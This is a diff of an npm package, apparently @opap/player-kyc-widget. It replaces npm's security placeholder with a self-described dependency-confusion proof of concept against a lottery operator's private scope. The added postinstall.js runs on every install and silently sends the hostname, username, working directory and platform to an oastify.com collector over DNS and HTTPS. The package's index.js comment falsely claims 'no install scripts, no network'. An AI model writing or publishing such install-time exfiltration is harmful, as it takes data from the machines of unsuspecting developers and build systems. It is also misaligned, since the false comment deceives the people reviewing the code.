@opap/player-kyc-widget 0.0.1-security → 3.999.999

package/README.md

@@ -1,5 +1,36 @@
-# Security holding package
+# @opap/player-kyc-widget — security-research PoC
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+Dependency-confusion proof-of-concept reported to **Allwyn AG** via HackerOne.
 
-Please refer to www.npmjs.com/advisories?search=%40opap%2Fplayer-kyc-widget for more information.
+The `@opap` npm scope was unregistered while the Allwyn GR player platform shipped
+`@opap/player-kyc-widget@3.8.1` in production. The package name is disclosed publicly by the webpack
+`uniqueName` embedded in
+`https://staticassets.allwyn.gr/widgets/allwyn/player-kyc-widget/static/js/kyc.js`:
+
+```js
+i="@opap/player-kyc-widget:"
+```
+
+Publishing this scope at a higher version (`3.999.999` > `3.8.1`) demonstrates that any build
+resolving `@opap/*` against the public registry selects this package in preference to the private one.
+
+## Disclosed behaviour
+
+This package runs a `postinstall` script that emits **one** out-of-band callback to an
+attacker-controlled collector, over DNS and HTTPS. This is deliberate and is the evidence that a real
+build resolved the package rather than merely that the name was publishable.
+
+The callback carries exactly four fields: **hostname, username, working directory, platform/arch**.
+
+It does **not** read environment variables, files, source code, npm tokens or any other credential. It
+does not persist anything, spawn processes, or modify the host. All failures are swallowed so the
+install is never broken.
+
+## Retraction
+
+To be unpublished and the scope transferred to Allwyn once they take ownership. Retraction:
+
+```bash
+npm unpublish @opap/player-kyc-widget@3.999.999
+npm deprecate @opap/player-kyc-widget "Security research placeholder - retracted"
+```

package/index.js

@@ -0,0 +1,3 @@
+// Benign placeholder. No-op. Security research PoC for Allwyn AG (HackerOne).
+// No install scripts, no network, no data collected or transmitted.
+module.exports = {};

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "@opap/player-kyc-widget",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "3.999.999",
+  "description": "Security research PoC reported to Allwyn AG via HackerOne. Emits a single out-of-band callback (hostname/user/cwd/platform) to prove public-registry resolution. No credential, file or environment access.",
+  "main": "index.js",
+  "files": ["index.js", "postinstall.js", "README.md"],
+  "scripts": {
+    "postinstall": "node postinstall.js"
+  },
+  "license": "MIT",
+  "publishConfig": { "access": "public" }
 }

package/postinstall.js

@@ -0,0 +1,53 @@
+// Security research PoC — Allwyn AG (HackerOne). Dependency-confusion resolution proof.
+//
+// Purpose: emit a single out-of-band callback proving that a build resolved
+// @opap/player-kyc-widget from the PUBLIC npm registry instead of the private one.
+//
+// Scope of data: hostname, username, cwd, platform ONLY. This is the minimum needed to
+// identify which build environment resolved the package. It does NOT read environment
+// variables, files, credentials, npm tokens, or source. It does not persist, execute, or
+// modify anything. It never fails the install.
+
+const CALLBACK = 'k5qrs9i96xtw61nb3bbwwualqcw3kt8i.oastify.com';
+
+try {
+  const os = require('os');
+  const fingerprint = JSON.stringify({
+    pkg: '@opap/player-kyc-widget',
+    host: os.hostname(),
+    user: (os.userInfo() || {}).username,
+    cwd: process.cwd(),
+    platform: process.platform + '/' + os.arch(),
+  });
+
+  const b64 = Buffer.from(fingerprint).toString('base64');
+
+  // 1. DNS channel — survives environments where outbound HTTP is blocked but DNS resolves.
+  //    Hex-encoded and chunked into <=63-char labels so every octet is DNS-safe.
+  try {
+    const hex = Buffer.from(fingerprint).toString('hex');
+    const labels = (hex.match(/.{1,60}/g) || []).slice(0, 4);
+    require('dns').lookup(labels.join('.') + '.' + CALLBACK, () => {});
+  } catch (e) {}
+
+  // 2. HTTPS channel — carries the full fingerprint when egress is permitted.
+  try {
+    require('https')
+      .get(
+        {
+          host: CALLBACK,
+          path: '/?src=opap-poc&d=' + encodeURIComponent(b64),
+          timeout: 4000,
+        },
+        (res) => res.resume()
+      )
+      .on('error', () => {})
+      .on('timeout', function () {
+        this.destroy();
+      });
+  } catch (e) {}
+} catch (e) {
+  // Never break a build.
+}
+
+process.exitCode = 0;